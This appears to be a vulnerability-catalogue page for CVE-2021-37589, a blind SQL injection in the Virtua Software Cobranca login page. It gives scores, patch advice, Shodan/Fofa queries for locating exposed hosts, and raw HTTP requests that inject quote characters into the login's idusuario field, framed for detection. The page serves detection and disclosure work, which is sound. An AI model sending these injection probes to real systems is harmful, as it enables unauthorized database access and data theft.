🔙 목록으로 돌아가기

CVE-2021-37589: Virtua Software Cobranca <12R - Blind SQL Injection

TitleVirtua Software Cobranca <12R - Blind SQL Injection
Authorprincechaddha
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the underlying system.
RemediationApply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Virtua Software Cobranca <12R.
CVSS Score7.5
EPSS Score0.62985
CVE IDCVE-2021-37589
CWE IDCWE-89
Shodan Queryhttp.favicon.hash:876876147
Fofa Queryicon_hash=876876147
Tags cve cve2021 virtua sqli virtuasoftware vuln

🔍 Vulnerability Description

Virtua Cobranca before 12R allows blind SQL injection on the login page.

🌐 HTTP Request

POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

0
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Content-Length: 40
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

idusuario='&idsenha=test&tipousr=Usuario
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

idusuario=''&idsenha=a&tipousr=Usuario

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37589.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37589.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A